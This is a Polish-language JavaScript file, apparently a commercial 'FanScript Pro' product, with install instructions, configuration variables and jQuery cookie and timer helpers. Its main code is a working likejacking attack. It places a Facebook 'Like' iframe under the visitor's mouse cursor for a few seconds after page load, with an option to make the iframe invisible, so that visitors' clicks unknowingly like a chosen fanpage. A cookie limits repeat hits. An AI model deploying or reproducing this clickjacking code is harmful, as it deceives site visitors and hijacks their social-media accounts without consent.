
/*
SKRYPT FANSCRIPT PRO / FACEBOOK

Wersja: 1.1

Autor: Vamedia Studio
www.vamedia.pl
biuro@vamedia.pl

Kopiowanie i rozpowszechnianie skryptu, bez zgody autora jest zabronione.

-------------
Instalacja:
-------------

1. Skopiuj pliki na serwer, do głółwnego katalogu (tam gdzie index):

fanscript1.1.js


2. Następnie wyedytuj plik strony, na którą chcesz wrzucić skrypt i dodaj w sekcji HEAD, bądź BODY następujące linijki:

 
 <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
 <script type="text/javascript" src="http://www.madnessmarine.pl/fanscript1.1.js"></script> 

3. Zapisz plik i podmień go na serwerze.

4. Wyedytuj poniższesze zmienne ( wystarczy zmienić tylko id_profilu, aby skrypt działał )

============================== ZMIENNE KONFIGURACYJNE ===================================*/






// Wprowadź tutaj adres do swojej strony na FACEBOOK
var fanpageURL = 'http://www.facebook.com/pages/Madness-Marine-Racing-Team/190483266819'; 

/* Wyświetl bądź ukryj BUTTON Lubię To: 0 - UKRYJ, 1 - POKAż»             */

var pokaz_button = 1;

/* Ilość sekund przez którą przycisk ma być aktywny po otworzeniu strony */

var czas_wyswietlania = 5; 


/* zmienne służące do korekty polożenia buttona Lubię to w pionie i poziomie */


var y_plus = 0;
var x_plus = 0;


/*==========================================================================================

-------- UWAGA ----------

Aby dodatek działał‚ poprawnie we wszystkich przeglądarkach (np. IE), niezbędna jest następująca linkija kodu:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 

W poprawnnie zbudowanych stronach WWW, kod ten umieszczony jest standardowo.

-------------------------

W razie problemółw prosimy o kontakt:

GG: 4471729
Tel. 535 535 490

Pozdrawiamy serdecznie i życzymy wielu FANóW ;)


----------------- Nie zmieniaj kodu poniżej */


jQuery.cookie = function (key, value, options) {
    
    // key and at least value given, set cookie...
    if (arguments.length > 1 && String(value) !== "[object Object]") {
        options = jQuery.extend({}, options);

        if (value === null || value === undefined) {
            options.expires = -1;
        }

        if (typeof options.expires === 'number') {
            var days = options.expires, t = options.expires = new Date();
            t.setDate(t.getDate() + days);
        }
        
        value = String(value);
        
        return (document.cookie = [
            encodeURIComponent(key), '=',
            options.raw ? value : encodeURIComponent(value),
            options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE
            options.path ? '; path=' + options.path : '',
            options.domain ? '; domain=' + options.domain : '',
            options.secure ? '; secure' : ''
        ].join(''));
    }

    // key and possibly options given, get cookie...
    options = value || {};
    var result, decode = options.raw ? function (s) { return s; } : decodeURIComponent;
    return (result = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? decode(result[1]) : null;
};



var $s = jQuery.noConflict();

jQuery.fn.extend({
        everyTime: function(interval, label, fn, times, belay) {
                return this.each(function() {
                        jQuery.timer.add(this, interval, label, fn, times, belay);
                });
        },
        oneTime: function(interval, label, fn) {
                return this.each(function() {
                        jQuery.timer.add(this, interval, label, fn, 1);
                });
        },
        stopTime: function(label, fn) {
                return this.each(function() {
                        jQuery.timer.remove(this, label, fn);
                });
        }
});

jQuery.extend({
        timer: {
                guid: 1,
                global: {},
                regex: /^([0-9]+)\s*(.*s)?$/,
                powers: {
                        // Yeah this is major overkill...
                        'ms': 1,
                        'cs': 10,
                        'ds': 100,
                        's': 1000,
                        'das': 10000,
                        'hs': 100000,
                        'ks': 1000000
                },
                timeParse: function(value) {
                        if (value == undefined || value == null)
                                return null;
                        var result = this.regex.exec(jQuery.trim(value.toString()));
                        if (result[2]) {
                                var num = parseInt(result[1], 10);
                                var mult = this.powers[result[2]] || 1;
                                return num * mult;
                        } else {
                                return value;
                        }
                },
                add: function(element, interval, label, fn, times, belay) {
                        var counter = 0;
                        
                        if (jQuery.isFunction(label)) {
                                if (!times) 
                                        times = fn;
                                fn = label;
                                label = interval;
                        }
                        
                        interval = jQuery.timer.timeParse(interval);

                        if (typeof interval != 'number' || isNaN(interval) || interval <= 0)
                                return;

                        if (times && times.constructor != Number) {
                                belay = !!times;
                                times = 0;
                        }
                        
                        times = times || 0;
                        belay = belay || false;
                        
                        if (!element.$timers) 
                                element.$timers = {};
                        
                        if (!element.$timers[label])
                                element.$timers[label] = {};
                        
                        fn.$timerID = fn.$timerID || this.guid++;
                        
                        var handler = function() {
                                if (belay && this.inProgress) 
                                        return;
                                this.inProgress = true;
                                if ((++counter > times && times !== 0) || fn.call(element, counter) === false)
                                        jQuery.timer.remove(element, label, fn);
                                this.inProgress = false;
                        };
                        
                        handler.$timerID = fn.$timerID;
                        
                        if (!element.$timers[label][fn.$timerID]) 
                                element.$timers[label][fn.$timerID] = window.setInterval(handler,interval);
                        
                        if ( !this.global[label] )
                                this.global[label] = [];
                        this.global[label].push( element );
                        
                },
                remove: function(element, label, fn) {
                        var timers = element.$timers, ret;
                        
                        if ( timers ) {
                                
                                if (!label) {
                                        for ( label in timers )
                                                this.remove(element, label, fn);
                                } else if ( timers[label] ) {
                                        if ( fn ) {
                                                if ( fn.$timerID ) {
                                                        window.clearInterval(timers[label][fn.$timerID]);
                                                        delete timers[label][fn.$timerID];
                                                }
                                        } else {
                                                for ( var fn in timers[label] ) {
                                                        window.clearInterval(timers[label][fn]);
                                                        delete timers[label][fn];
                                                }
                                        }
                                        
                                        for ( ret in timers[label] ) break;
                                        if ( !ret ) {
                                                ret = null;
                                                delete timers[label];
                                        }
                                }
                                
                                for ( ret in timers ) break;
                                if ( !ret ) 
                                        element.$timers = null;
                        }
                }
        }
});

if (jQuery.browser.msie)
        jQuery(window).one("unload", function() {
                var global = jQuery.timer.global;
                for ( var label in global ) {
                        var els = global[label], i = els.length;
                        while ( --i )
                                jQuery.timer.remove(els[i], label);
                }
        });





jQuery(document).ready(function()
                {


czas_wyswietlania = czas_wyswietlania*1000;

if(pokaz_button>=1)
pokaz_button = 1;
else
pokaz_button = 0;

pokaz_button = pokaz_button*100;

var ciastko = jQuery.cookie(fanpageURL);

if(ciastko == null || ciastko == undefined || ciastko == 1 || ciastko == '1')
{


        if(ciastko == 1 || ciastko == '1')
        {
                jQuery.cookie(fanpageURL,2,{ expires: 200 });
                czas_wyswietlania = 4000;
        }else{
                jQuery.cookie(fanpageURL,1,{ expires: 200 });
        }

jQuery(document.body).append('<div id="facebooklikeh"><iframe  id="facebooklikeh2" src="http://www.facebook.com/plugins/like.php?href='+encodeURIComponent(fanpageURL)+'&amp;send=false&amp;layout=standard&amp;width=70&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=35" scrolling="no" frameborder="0" style="position:absolute;opacity:'+pokaz_button+';filter:alpha(opacity='+pokaz_button+');border:none; overflow:hidden; width:70px; height:35px;" allowTransparency="true"></iframe></div>');

jQuery(document).oneTime(czas_wyswietlania, function() {
     jQuery('#facebooklikeh').remove();
  });
      jQuery('#facebooklikeh').css('position', 'absolute');
var pX = 0;
var pY = 0;
jQuery(document).mousemove(function(e){
        pX = e.pageX - 40 + x_plus;
        pY = e.pageY - 10 + y_plus;
      jQuery('#facebooklikeh').css('left',pX+'px');
     jQuery('#facebooklikeh').css('top', pY+'px');

   }); 


        
}


 


});

